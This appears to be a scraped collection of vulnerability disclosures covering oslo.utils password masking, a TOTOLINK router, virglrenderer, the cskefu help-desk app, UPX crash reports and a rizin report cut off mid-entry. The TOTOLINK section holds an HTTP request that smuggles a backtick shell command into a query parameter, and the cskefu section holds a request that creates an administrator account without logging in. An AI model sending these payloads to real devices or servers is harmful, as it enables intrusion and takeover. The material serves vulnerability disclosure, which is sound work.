A flaw was found in python-oslo-utils. Due to improper parsing, passwords with a double quote ( " ) in them cause incorrect masking in debug logs, causing any part of the password after the double quote to be plaintext.

**Name**

CVE-2022-0718

**Source**

CVE (at NVD; CERT, LWN, oss-sec, fulldisc, bugtraq, EDB, Metasploit, Red Hat, Ubuntu, Gentoo, SUSE bugzilla/CVE, Mageia, GitHub advisories/code/issues, web search, more)

**Vulnerable and fixed packages**

The table below lists information on source packages.

Source Package

Release

Version

Status

python-oslo.utils (PTS)

buster

3.36.5-0+deb10u1

vulnerable

bullseye

4.6.0-2

vulnerable

bookworm, sid

4.12.3-1

fixed

The information below is based on the following data on fixed versions.

Package

Type

Release

Fixed Version

Urgency

Origin

Debian Bugs

python-oslo.utils

source

(unstable)

4.10.1-1

**Notes**

\[bullseye\] - python-oslo.utils <no-dsa> (Minor issue)  
https://bugzilla.redhat.com/show\_bug.cgi?id=2056850  
https://bugs.launchpad.net/oslo.utils/+bug/1949623  
Fixed by: https://opendev.org/openstack/oslo.utils/commit/6e17ae1f7959c64dfd20a5f67edf422e702426aa (4.12.1)  
Fixed by: https://opendev.org/openstack/oslo.utils/commit/5ce8a7f0f8ecec7a85a23ec3d7a7fb1cad14ceba (4.10.1)

CVE-2022-0718: CVE-2022-0718

TOTOLINK A810R V5.9c.4050_B20190424 was discovered to contain a command injection vulnerability via the component downloadFile.cgi.

Permalink

Cannot retrieve contributors at this time

**command injection****A810R\_Firmware**

version: V5.9c.4050\_B20190424

**Description:**

There is a command injection in downloadFile.cgi. Still exist in V5.9c.4050\_B20190424.

**Source:**

you may download it from : http://www.totolink.cn/home/menu/detail.html?menu\_listtpl=download&id=2&ids=36

**Analyse:**

don't check the input of QUERY\_STRING and call system

**POC**

    GET /cgi-bin/downloadFlile.cgi?payload=`dw>../1.txt` HTTP/1.1 
    Host: 192.168.1.106
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0 
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 accept-language: zh-CN,zh;q=0.9
    Accept-Encoding: gzip, deflate 
    Connection: keep-alive 
    Upgrade-Insecure-Requests: 1 
    Cache-Control: max-age=0

CVE-2022-38511: CVE/downloadFile.md at main · whiter6666/CVE

A flaw was found in the VirGL virtual OpenGL renderer (virglrenderer). The virgl did not properly initialize memory when allocating a host-backed memory resource. A malicious guest could use this flaw to mmap from the guest kernel and read this uninitialized memory from the host, possibly leading to information disclosure.

**Name**

CVE-2022-0175

**Description**

memory initialization issue in vrend\_resource\_alloc\_buffer() can lead to info leak

**Source**

CVE (at NVD; CERT, LWN, oss-sec, fulldisc, bugtraq, EDB, Metasploit, Red Hat, Ubuntu, Gentoo, SUSE bugzilla/CVE, Mageia, GitHub advisories/code/issues, web search, more)

**Vulnerable and fixed packages**

The table below lists information on source packages.

Source Package

Release

Version

Status

virglrenderer (PTS)

buster

0.7.0-2

fixed

bookworm, sid, bullseye

0.8.2-5

fixed

The information below is based on the following data on fixed versions.

Package

Type

Release

Fixed Version

Urgency

Origin

Debian Bugs

virglrenderer

source

(unstable)

(not affected)

**Notes**

\- virglrenderer <not-affected> (Introduced in 0.9.0 with refactor)  
https://bugzilla.redhat.com/show\_bug.cgi?id=2039003  
https://gitlab.freedesktop.org/virgl/virglrenderer/-/merge\_requests/654  
Code refactored in https://gitlab.freedesktop.org/virgl/virglrenderer/-/commit/7899e057327848300b18d8f03aa3789e00ed0221 (0.9.0)  
Fixed by: https://gitlab.freedesktop.org/virgl/virglrenderer/-/commit/b05bb61f454eeb8a85164c8a31510aeb9d79129c

CVE-2022-0175: CVE-2022-0175

Insecure permissions in cskefu v7.0.1 allows unauthenticated attackers to arbitrarily add administrator accounts.

**概述**

存在添加管理员接口，调用该接口时没有对当前用户进行校验，导致未登录状态下可添加管理员账户。  
There is an interface to add an administrator. When calling this interface, the current user is not verified, so that an administrator account can be added when not logged in.

**数据包（payload）：**

GET /addAdmin?username\=admin666&password\=admin666123&email\=admin666@admin6666.com&mobile\=17777777776&superadmin\=true HTTP/1.1
Host: localhost
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,image/avif,image/webp,\*/\*;q\=0.8
Accept\-Language: zh\-CN,zh;q\=0.8,zh\-TW;q\=0.7,zh\-HK;q\=0.5,en\-US;q\=0.3,en;q\=0.2
Accept\-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade\-Insecure\-Requests: 1
Sec\-Fetch\-Dest: document
Sec\-Fetch\-Mode: navigate
Sec\-Fetch\-Site: none
Sec\-Fetch\-User: ?1
Cache\-Control: max\-age\=0

\*\* 测试截图（Test screenshot）： \*\*  

根据给出的URL  
According to the given URL  
http://localhost/?schema=http&port=80&hostname=localhost&subtype=user&maintype=apps&typename=methodName&orgi=cskefu&webimport=8036&sessionid=f8dbdd6d51dd44788ccad36c02e7958b&models=cca&models=chatbot&models=report&models=entim&models=contacts&ip=172.18.0.1&userExpTelemetry=on

跳转至管理界面  
Jump to the management interface  

**漏洞分析（Vulnerability analysis）**  
漏洞源码（Vulnerability source code）：

 @RequestMapping("/addAdmin")
    @Menu(type = "apps", subtype = "user", access = true)
    public ModelAndView addAdmin(HttpServletRequest request, HttpServletResponse response, @Valid User user) {
        String msg = "";
        msg = validUser(user);
        if (StringUtils.isNotBlank(msg)) {
            return request(super.createView("redirect:/register.html?msg=" + msg));
        } else {
            user.setUname(user.getUsername());
            user.setAdmin(true);
            if (StringUtils.isNotBlank(user.getPassword())) {
                user.setPassword(MainUtils.md5(user.getPassword()));
            }
            user.setOrgi(super.getOrgi());
            userRepository.save(user);
        }
        ModelAndView view = this.processLogin(request, user, "");
        return view;
    }

    private String validUser(User user) {
        String msg = "";
        User tempUser = userRepository.findByUsernameAndDatastatus(user.getUsername(), false);
        if (tempUser != null) {
            msg = "username\_exist";
            return msg;
        }
        tempUser = userRepository.findByEmailAndDatastatus(user.getEmail(), false);
        if (tempUser != null) {
            msg = "email\_exist";
            return msg;
        }
        tempUser = userRepository.findByMobileAndDatastatus(user.getMobile(), false);
        if (tempUser != null) {
            msg = "mobile\_exist";
            return msg;
        }
        return msg;
    }

addAdmin接口未进行权限校验，未登录状态可直接调用  
The addadmin interface does not perform permission verification, and can be called directly in the unregistered state

增加用户前，判断传入的用户是否有效  
Before adding users, judge whether the incoming users are valid  

为了顺利到达最后一个return，传入的username，email，mobile都必须为数据库中的唯一值  
n order to successfully reach the last return, the username, email and mobile passed in must be unique values in the database  

当返回的msg为空时，我们就可以继续增加用户的操作，且将添加的用户设置为管理员  
When the returned MSG is empty, we can continue to add users and set the added users as administrators  

**操作系统**

*   macOS or Mac OSX
*   Windows
*   Linux(Debian, CentOS, Ubuntu, etc.)

**代码版本**

代码版本 <= 7.0.1

**祝福与不祝福**

春松客服之所以开源，是基于这样一种信念：爱人也是爱己，利他也是利己。  
对人和人美好关系的向往，对人潜力的信任。让我们相信因春松客服而受益的人，会回报给春松客服开源社区，我们所有贡献者基于共赢的信念合作。  
回报方式包括：提交 PR、购买春松客服相关的付费产品和服务等。

因春松客服受益，而不回报开源社区的用户，我们不欢迎使用春松客服：我们开源并不是为了你们，你们是不被祝福的。

**Open Source for the World**

CVE-2022-36521: 【安全漏洞】前台未授权增加管理员账号 · Issue #724 · chatopera/cskefu

A heap-based buffer over-read was discovered in the get_le64 function in bele.h in UPX 4.0.0 via a crafted Mach-O file.

Author: giantbranch of NSFOCUS Security Team

**What's the problem (or question)?**

A heap buffer overflow read in the latest commit of the devel branch

ASAN reports:

    ==4525==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fab6ae5cdd8 at pc 0x000000757297 bp 0x7fff2d255a60 sp 0x7fff2d255a58
    READ of size 8 at 0x7fab6ae5cdd8 thread T0
        #0 0x757296 in get_le64(void const*) /src/upx-multi/src/./bele.h:182:12
        #1 0x757296 in N_BELE_RTP::LEPolicy::get64(void const*) const /src/upx-multi/src/./bele_policy.h:194:18
        #2 0x5d0419 in Packer::get_te64(void const*) const /src/upx-multi/src/./packer.h:297:65
        #3 0x5d0419 in PackLinuxElf64::unpack(OutputFile*) /src/upx-multi/src/p_lx_elf.cpp:4603:43
        #4 0x6c82b0 in Packer::doUnpack(OutputFile*) /src/upx-multi/src/packer.cpp:107:5
        #5 0x7589f8 in do_one_file(char const*, char*) /src/upx-multi/src/work.cpp:160:12
        #6 0x759f42 in do_files(int, int, char**) /src/upx-multi/src/work.cpp:271:13
        #7 0x555afd in main /src/upx-multi/src/main.cpp:1538:5
        #8 0x7fab6992783f in __libc_start_main /build/glibc-e6zv40/glibc-2.23/csu/../csu/libc-start.c:291
        #9 0x41ce98 in _start (/out/upx-multi/upx-multi+0x41ce98)
    
    0x7fab6ae5cdd8 is located 0 bytes to the right of 132568-byte region [0x7fab6ae3c800,0x7fab6ae5cdd8)
    allocated by thread T0 here:
        #0 0x49519d in malloc (/out/upx-multi/upx-multi+0x49519d)
        #1 0x5697b7 in MemBuffer::alloc(unsigned long long) /src/upx-multi/src/mem.cpp:194:42
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow /src/upx-multi/src/./bele.h:182:12 in get_le64(void const*)
    Shadow bytes around the buggy address:
      0x0ff5ed5c3960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0ff5ed5c3970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0ff5ed5c3980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0ff5ed5c3990: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0ff5ed5c39a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x0ff5ed5c39b0: 00 00 00 00 00 00 00 00 00 00 00[fa]fa fa fa fa
      0x0ff5ed5c39c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0ff5ed5c39d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0ff5ed5c39e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0ff5ed5c39f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0ff5ed5c3a00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==4525==ABORTING
    

**What should have happened?**

Check if the file is normal, exit if abnormal

**Do you have an idea for a solution?**

Add more checks

**How can we reproduce the issue?**

upx.out -d <poc\_filename>

poc:  
tests\_a7c92caa967187b16a8927c29de0efee0d1f2ed5\_.tar.gz

    $ ./src/upx.out -d ./tests_a7c92caa967187b16a8927c29de0efee0d1f2ed5_.tar.gz
                           Ultimate Packer for eXecutables
                              Copyright (C) 1996 - 2020
    UPX git-8d1d60  Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 24th 2020
    
            File size         Ratio      Format      Name
       --------------------   ------   -----------   -----------
    Segmentation fault
    

**Please tell us details about your environment.**

*   UPX version used (upx --version):

    upx 4.0.0-git-8d1d605b3d8c+
    UCL data compression library 1.03
    zlib data compression library 1.2.8
    LZMA SDK version 4.43
    Copyright (C) 1996-2020 Markus Franz Xaver Johannes Oberhumer
    Copyright (C) 1996-2020 Laszlo Molnar
    Copyright (C) 2000-2020 John F. Reiser
    Copyright (C) 2002-2020 Jens Medoch
    Copyright (C) 1995-2005 Jean-loup Gailly and Mark Adler
    Copyright (C) 1999-2006 Igor Pavlov
    UPX comes with ABSOLUTELY NO WARRANTY; for details type 'upx-multi -L'.
    

*   Host Operating System and version: Ubuntu 16.04.2 LTS
*   Host CPU architecture: x86\_64
*   Target Operating System and version: same as Host
*   Target CPU architecture: same as Host

CVE-2020-27801: Heap buffer overflow in get_le64() · Issue #394 · upx/upx

An invalid memory address reference was discovered in the adjABS function in p_lx_elf.cpp in UPX 4.0.0 via a crafted Mach-O file.

Author: giantbranch of NSFOCUS Security Team

**What's the problem (or question)?**

Segmentation fault in PackLinuxElf64::adjABS of p\_lx\_elf.cpp in the latest commit of the devel branch

code:

    ────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────
     RAX  0x53be80 (abs_symbol_names) ◂— pop    rdi /* '__bss_end__' */
     RBX  0xe8cf
     RCX  0xff
     RDX  0x0
    *RDI  0x53be80 (abs_symbol_names) ◂— pop    rdi /* '__bss_end__' */
     RSI  0xff
     R8   0xa9d79
     R9   0x98c32
     R10  0x86f
     R11  0x246
     R12  0xff
     R13  0x7fffffffe440 ◂— 0x3
     R14  0x0
     R15  0x0
     RBP  0x7fffffffd450 —▸ 0x7fffffffd660 —▸ 0x7fffffffd680 —▸ 0x7fffffffd6a0 —▸ 0x7fffffffdea0 ◂— ...
     RSP  0x7fffffffd420 —▸ 0x7ffff7fb506e ◂— 0x40fffffff1
    *RIP  0x442e5e ◂— call   0x401fd0
    ─────────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────
       0x442e47    lea    rax, [rdx*8]
       0x442e4f    sub    rax, rdx
       0x442e52    add    rax, abs_symbol_names <0x53be80>
       0x442e58    mov    rsi, rcx
       0x442e5b    mov    rdi, rax
     ► 0x442e5e    call   strcmp@plt <0x401fd0>
            s1: 0x53be80 (abs_symbol_names) ◂— '__bss_end__'
            s2: 0xff
    
       0x442e63    test   eax, eax
       0x442e65    sete   al
       0x442e68    test   al, al
       0x442e6a    je     0x442e89
    
       0x442e6c    mov    eax, dword ptr [rbp - 0x24]
    ──────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────────────
       3132 int
       3133 PackLinuxElf64::adjABS(Elf64_Sym *sym, unsigned delta)
       3134 {
       3135     for (int j = 0; abs_symbol_names[j][0]; ++j) {
       3136         unsigned st_name = get_te32(&sym->st_name);
     ► 3137         if (!strcmp(abs_symbol_names[j], get_str_name(st_name, (unsigned)-1))) {
       3138             sym->st_value += delta;
       3139             return 1;
       3140         }
       3141     }
       3142     return 0;
    ──────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────
    00:0000│ rsp  0x7fffffffd420 —▸ 0x7ffff7fb506e ◂— 0x40fffffff1
    01:0008│      0x7fffffffd428 ◂— 0xfffff00000804fd8
    02:0010│      0x7fffffffd430 —▸ 0x7ffff7fb5068 ◂— 0xfff10000000000ff
    03:0018│      0x7fffffffd438 —▸ 0x817030 —▸ 0x53e1f8 —▸ 0x43af84 (PackLinuxElf64amd::~PackLinuxElf64amd()) ◂— push   rbp
    04:0020│      0x7fffffffd440 —▸ 0x7ffff7fb506e ◂— 0x40fffffff1
    05:0028│      0x7fffffffd448 ◂— 0xff00000000
    06:0030│ rbp  0x7fffffffd450 —▸ 0x7fffffffd660 —▸ 0x7fffffffd680 —▸ 0x7fffffffd6a0 —▸ 0x7fffffffdea0 ◂— ...
    07:0038│      0x7fffffffd458 —▸ 0x449fab (PackLinuxElf64::unpack(OutputFile*)+3259) ◂— add    qword ptr [rbp - 0x158], 0x18
    ────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────
     ► f 0           442e5e
       f 1           449fab PackLinuxElf64::unpack(OutputFile*)+3259
       f 2           492eb2 Packer::doUnpack(OutputFile*)+90
       f 3           49c5ab PackMaster::unpack(OutputFile*)+109
       f 4           4b946e
       f 5           4b985f
       f 6           42aade main+746
       f 7     7ffff727b840 __libc_start_main+240
    
    

get\_str\_name returned an unreadable value and causing crash in strcmp

In this poc, get\_str\_name return 0xff

ASAN reports:

    ==7880==ERROR: AddressSanitizer: SEGV on unknown address 0x0000000000ff (pc 0x000000430045 bp 0x7fff7a4d5050 sp 0x7fff7a4d47f0 T0)
    ==7880==The signal is caused by a READ memory access.
    ==7880==Hint: address points to the zero page.
        #0 0x430045 in strcmp (/out/upx-multi/upx-multi+0x430045)
        #1 0x5b6c98 in PackLinuxElf64::adjABS(N_Elf64::Sym<N_Elf::ElfITypes<LE16, LE32, LE64, LE64, LE64> >*, unsigned int) /src/upx-multi/src/p_lx_elf.cpp:3137:14
        #2 0x5d06a9 in PackLinuxElf64::unpack(OutputFile*) /src/upx-multi/src/p_lx_elf.cpp:4611:25
        #3 0x6c82b0 in Packer::doUnpack(OutputFile*) /src/upx-multi/src/packer.cpp:107:5
        #4 0x7589f8 in do_one_file(char const*, char*) /src/upx-multi/src/work.cpp:160:12
        #5 0x759f42 in do_files(int, int, char**) /src/upx-multi/src/work.cpp:271:13
        #6 0x555afd in main /src/upx-multi/src/main.cpp:1538:5
        #7 0x7fb3d16be83f in __libc_start_main /build/glibc-e6zv40/glibc-2.23/csu/../csu/libc-start.c:291
        #8 0x41ce98 in _start (/out/upx-multi/upx-multi+0x41ce98)
    
    AddressSanitizer can not provide additional info.
    SUMMARY: AddressSanitizer: SEGV (/out/upx-multi/upx-multi+0x430045) in strcmp
    ==7880==ABORTING
    
    

**What should have happened?**

Check if the file is normal, exit if abnormal

**Do you have an idea for a solution?**

Add more checks

**How can we reproduce the issue?**

POC:  
tests\_7bc36b368db6594ef16f8abfd694fc11e4dc9acb\_.tar.gz

    $ ./src/upx.out -d ./tests_7bc36b368db6594ef16f8abfd694fc11e4dc9acb_.tar.gz
                           Ultimate Packer for eXecutables
                              Copyright (C) 1996 - 2020
    UPX git-8d1d60  Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 24th 2020
    
            File size         Ratio      Format      Name
       --------------------   ------   -----------   -----------
    Segmentation fault
    

**Please tell us details about your environment.**

*   UPX version used (upx --version):

    upx 4.0.0-git-8d1d605b3d8c+
    UCL data compression library 1.03
    zlib data compression library 1.2.8
    LZMA SDK version 4.43
    Copyright (C) 1996-2020 Markus Franz Xaver Johannes Oberhumer
    Copyright (C) 1996-2020 Laszlo Molnar
    Copyright (C) 2000-2020 John F. Reiser
    Copyright (C) 2002-2020 Jens Medoch
    Copyright (C) 1995-2005 Jean-loup Gailly and Mark Adler
    Copyright (C) 1999-2006 Igor Pavlov
    UPX comes with ABSOLUTELY NO WARRANTY; for details type 'upx-multi -L'.
    

*   Host Operating System and version: Ubuntu 16.04.2 LTS
*   Host CPU architecture: x86\_64
*   Target Operating System and version: same as Host
*   Target CPU architecture: same as Host

CVE-2020-27798: Segmentation fault in PackLinuxElf64::adjABS of p_lx_elf.cpp · Issue #396 · upx/upx

An invalid memory address reference was discovered in the elf_lookup function in p_lx_elf.cpp in UPX 4.0.0 via a crafted Mach-O file.

Author: giantbranch of NSFOCUS Security Team

**What's the problem (or question)?**

Segmentation fault in PackLinuxElf32::elf\_lookup(char const\*) of /src/p\_lx\_elf.cpp in the latest commit of the devel branch

code link : p\_lx\_elf.cpp#L5486

     for (si= get_te32(&buckets[m]); 0!=si; si= get_te32(&chains[si])) {
                char const *const p= get_dynsym_name(si, (unsigned)-1);
                if (0==strcmp(name, p)) {
                    return &dynsym[si];
                }
            }
    

get\_dynsym\_name returned an unreadable value and causing crash in strcmp

ASAN reports:

    AddressSanitizer:DEADLYSIGNAL
    =================================================================
    ==2661==ERROR: AddressSanitizer: SEGV on unknown address 0x6300849b4477 (pc 0x000000430045 bp 0x7ffda416e910 sp 0x7ffda416e0b0 T0)
    ==2661==The signal is caused by a READ memory access.
        #0 0x430045 in strcmp (/out/upx-multi/upx-multi+0x430045)
        #1 0x5d9589 in PackLinuxElf32::elf_lookup(char const*) const /src/upx-multi/src/p_lx_elf.cpp:5411:20
        #2 0x588c27 in PackLinuxElf32::PackLinuxElf32help1(InputFile*) /src/upx-multi/src/p_lx_elf.cpp:318:26
        #3 0x5d5e74 in PackLinuxElf32Le::PackLinuxElf32Le(InputFile*) /src/upx-multi/src/./p_lx_elf.h:395:9
        #4 0x5d5e74 in PackLinuxElf32x86::PackLinuxElf32x86(InputFile*) /src/upx-multi/src/p_lx_elf.cpp:4838:54
        #5 0x5d6261 in PackBSDElf32x86::PackBSDElf32x86(InputFile*) /src/upx-multi/src/p_lx_elf.cpp:4855:50
        #6 0x5d6261 in PackFreeBSDElf32x86::PackFreeBSDElf32x86(InputFile*) /src/upx-multi/src/p_lx_elf.cpp:4866:58
        #7 0x6e4460 in PackMaster::visitAllPackers(Packer* (*)(Packer*, void*), InputFile*, options_t const*, void*) /src/upx-multi/src/packmast.cpp:190:9
        #8 0x6e8ff1 in PackMaster::getUnpacker(InputFile*) /src/upx-multi/src/packmast.cpp:248:18
        #9 0x6e8ff1 in PackMaster::unpack(OutputFile*) /src/upx-multi/src/packmast.cpp:266:9
        #10 0x75826b in do_one_file(char const*, char*) /src/upx-multi/src/work.cpp:160:12
        #11 0x7597c2 in do_files(int, int, char**) /src/upx-multi/src/work.cpp:271:13
        #12 0x555aed in main /src/upx-multi/src/main.cpp:1538:5
        #13 0x7fee2eaed83f in __libc_start_main /build/glibc-e6zv40/glibc-2.23/csu/../csu/libc-start.c:291
        #14 0x41ce98 in _start (/out/upx-multi/upx-multi+0x41ce98)
    
    

**What should have happened?**

Check if the file is normal, exit if abnormal

**Do you have an idea for a solution?**

Add more checks

**How can we reproduce the issue?**

POC:  
tests\_282bb5f42e6d0cfdae8234bd333f76d50d69d1fa\_.tar.gz

    # ./src/upx.out -d ./tests_282bb5f42e6d0cfdae8234bd333f76d50d69d1fa_
                           Ultimate Packer for eXecutables
                              Copyright (C) 1996 - 2020
    UPX git-87b73e  Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 24th 2020
    
            File size         Ratio      Format      Name
       --------------------   ------   -----------   -----------
    Segmentation fault
    
    

**Please tell us details about your environment.**

*   UPX version used (upx --version):

    upx 4.0.0-git-87b73e5cfdc1+
    UCL data compression library 1.03
    zlib data compression library 1.2.8
    LZMA SDK version 4.43
    Copyright (C) 1996-2020 Markus Franz Xaver Johannes Oberhumer
    Copyright (C) 1996-2020 Laszlo Molnar
    Copyright (C) 2000-2020 John F. Reiser
    Copyright (C) 2002-2020 Jens Medoch
    Copyright (C) 1995-2005 Jean-loup Gailly and Mark Adler
    Copyright (C) 1999-2006 Igor Pavlov
    UPX comes with ABSOLUTELY NO WARRANTY; for details t
    

*   Host Operating System and version: Ubuntu 16.04.2 LTS
*   Host CPU architecture: x86\_64
*   Target Operating System and version: same as Host
*   Target CPU architecture: same as Host

CVE-2020-27797: Segmentation fault in PackLinuxElf32::elf_lookup(char const*)  of /src/p_lx_elf.cpp · Issue #390 · upx/upx

An floating point exception was discovered in the elf_lookup function in p_lx_elf.cpp in UPX 4.0.0 via a crafted Mach-O file.

Author: giantbranch of NSFOCUS Security Team

**What's the problem (or question)?**

Floating point exception was found in PackLinuxElf32::elf\_lookup of p\_lx\_elf.cpp (the latest commit of the devel branch)

through debugging，because of div 0

    ────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────
     ► 0x44d810    div    dword ptr [rbp - 0xe8]
        ↓
     ► 0x44d810    div    dword ptr [rbp - 0xe8]
    
    
    
    
    ────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────
       5395 {
       5396     if (hashtab && dynsym && dynstr) {
       5397         unsigned const nbucket = get_te32(&hashtab[0]);
       5398         unsigned const *const buckets = &hashtab[2];
       5399         unsigned const *const chains = &buckets[nbucket];
     ► 5400         unsigned const m = elf_hash(name) % nbucket;
       5401         if (!nbucket
       5402         ||  (unsigned)(file_size - ((char const *)buckets - (char const *)(void const *)file_image))
       5403                 <= sizeof(unsigned)*nbucket ) {
       5404             char msg[80]; snprintf(msg, sizeof(msg),
       5405                 "bad nbucket %#x\n", nbucket);
    ────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────
    00:0000│ rsp  0x7fffffffd2c0 —▸ 0x4e4017 ◂— pop    r15 /* 'JNI_OnLoad' */
    01:0008│      0x7fffffffd2c8 —▸ 0x817030 —▸ 0x53f580 ◂— add    byte ptr [rax], al
    02:0010│      0x7fffffffd2d0 —▸ 0x7fffffffd2f0 —▸ 0x7fffffffd310 —▸ 0x7fffffffd380 —▸ 0x7fffffffd3c0 ◂— ...
    03:0018│      0x7fffffffd2d8 ◂— 0x0
    04:0020│      0x7fffffffd2e0 —▸ 0x817884 ◂— 0x1200
    05:0028│      0x7fffffffd2e8 —▸ 0x804fd8 (N_BELE_RTP::le_policy) —▸ 0x5e5be8 —▸ 0x4b8d50 (N_BELE_RTP::LEPolicy::~LEPolicy()) ◂— push   rbp
    06:0030│      0x7fffffffd2f0 —▸ 0x7fffffffd310 —▸ 0x7fffffffd380 —▸ 0x7fffffffd3c0 —▸ 0x7fffffffd410 ◂— ...
    07:0038│      0x7fffffffd2f8 —▸ 0x4507b8 ◂— leave
    ──────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────
     ► f 0           44d810
       f 1           4377de PackLinuxElf32::PackLinuxElf32help1(InputFile*)+1632
       f 2           450a5b PackLinuxElf32Le::PackLinuxElf32Le(InputFile*)+79
       f 3           44b371 PackLinuxElf32x86::PackLinuxElf32x86(InputFile*)+35
       f 4           44b47b PackBSDElf32x86::PackBSDElf32x86(InputFile*)+35
       f 5           44b533 PackFreeBSDElf32x86::PackFreeBSDElf32x86(InputFile*)+35
       f 6           49a936
       f 7           49c2be PackMaster::getUnpacker(InputFile*)+40
       f 8           49c362 PackMaster::unpack(OutputFile*)+32
       f 9           4b9272
       f 10           4b9663
    Program received signal SIGFPE
    pwndbg> x /gx  $rbp - 0xe8
    0x7fffffffd2d8:	0x0000000000000000
    

ASAN reports:

    ==5426==ERROR: AddressSanitizer: FPE on unknown address 0x0000005d93dc (pc 0x0000005d93dc bp 0x7fffd6ee8580 sp 0x7fffd6ee8200 T0)
        #0 0x5d93dc in PackLinuxElf32::elf_lookup(char const*) const /src/upx-multi/src/p_lx_elf.cpp:5400:43
        #1 0x588c27 in PackLinuxElf32::PackLinuxElf32help1(InputFile*) /src/upx-multi/src/p_lx_elf.cpp:318:26
        #2 0x5d5e74 in PackLinuxElf32Le::PackLinuxElf32Le(InputFile*) /src/upx-multi/src/./p_lx_elf.h:395:9
        #3 0x5d5e74 in PackLinuxElf32x86::PackLinuxElf32x86(InputFile*) /src/upx-multi/src/p_lx_elf.cpp:4838:54
        #4 0x5d6261 in PackBSDElf32x86::PackBSDElf32x86(InputFile*) /src/upx-multi/src/p_lx_elf.cpp:4855:50
        #5 0x5d6261 in PackFreeBSDElf32x86::PackFreeBSDElf32x86(InputFile*) /src/upx-multi/src/p_lx_elf.cpp:4866:58
        #6 0x6e4460 in PackMaster::visitAllPackers(Packer* (*)(Packer*, void*), InputFile*, options_t const*, void*) /src/upx-multi/src/packmast.cpp:190:9
        #7 0x6e8ff1 in PackMaster::getUnpacker(InputFile*) /src/upx-multi/src/packmast.cpp:248:18
        #8 0x6e8ff1 in PackMaster::unpack(OutputFile*) /src/upx-multi/src/packmast.cpp:266:9
        #9 0x75826b in do_one_file(char const*, char*) /src/upx-multi/src/work.cpp:160:12
        #10 0x7597c2 in do_files(int, int, char**) /src/upx-multi/src/work.cpp:271:13
        #11 0x555aed in main /src/upx-multi/src/main.cpp:1538:5
        #12 0x7f999579b83f in __libc_start_main /build/glibc-e6zv40/glibc-2.23/csu/../csu/libc-start.c:291
        #13 0x41ce98 in _start (/out/upx-multi/upx-multi+0x41ce98)
    
    AddressSanitizer can not provide additional info.
    SUMMARY: AddressSanitizer: FPE /src/upx-multi/src/p_lx_elf.cpp:5400:43 in PackLinuxElf32::elf_lookup(char const*) const
    ==5426==ABORTING
    
    

**What should have happened?**

Check if the file is normal, exit if abnormal

**Do you have an idea for a solution?**

Add more checks

**How can we reproduce the issue?**

upx.out -d <poc\_filename>

poc:  
tests\_1119229d81ae333c2b95061a6d3ab57e09049c74\_.tar.gz

**Please tell us details about your environment.**

*   UPX version used (upx --version):

    upx 4.0.0-git-87b73e5cfdc1+
    UCL data compression library 1.03
    zlib data compression library 1.2.8
    LZMA SDK version 4.43
    Copyright (C) 1996-2020 Markus Franz Xaver Johannes Oberhumer
    Copyright (C) 1996-2020 Laszlo Molnar
    Copyright (C) 2000-2020 John F. Reiser
    Copyright (C) 2002-2020 Jens Medoch
    Copyright (C) 1995-2005 Jean-loup Gailly and Mark Adler
    Copyright (C) 1999-2006 Igor Pavlov
    UPX comes with ABSOLUTELY NO WARRANTY; for details t
    

*   Host Operating System and version: Ubuntu 16.04.2 LTS
*   Host CPU architecture: x86\_64
*   Target Operating System and version: same as Host
*   Target CPU architecture: same as Host

CVE-2020-27802: Floating point exception in PackLinuxElf32::elf_lookup · Issue #393 · upx/upx

A vulnerability was found in rizin. The bug involves an ELF64 binary for the HPPA architecture. When a specially crafted binarygets analysed by rizin, it causes rizin to crash by freeing an uninitialized (and potentially user controlled, depending on the build) memory address.

**Work environment**

With @ogianatiempo we discovered a bug which makes rizin crash when analyzing certain kind of binaries.

Questions

Answers

OS/arch/bits (mandatory)

Ubuntu 20.04 x86\_64 64

File format of the file you reverse (mandatory)

ELF64

Architecture/bits of the file (mandatory)

HPPA

rizin -v full output, **not truncated** (mandatory)

rizin 0.4.0-git @ linux-x86-64 commit: 681de8e, build: 2021-11-23\_\_11:49:48

**Expected behavior**

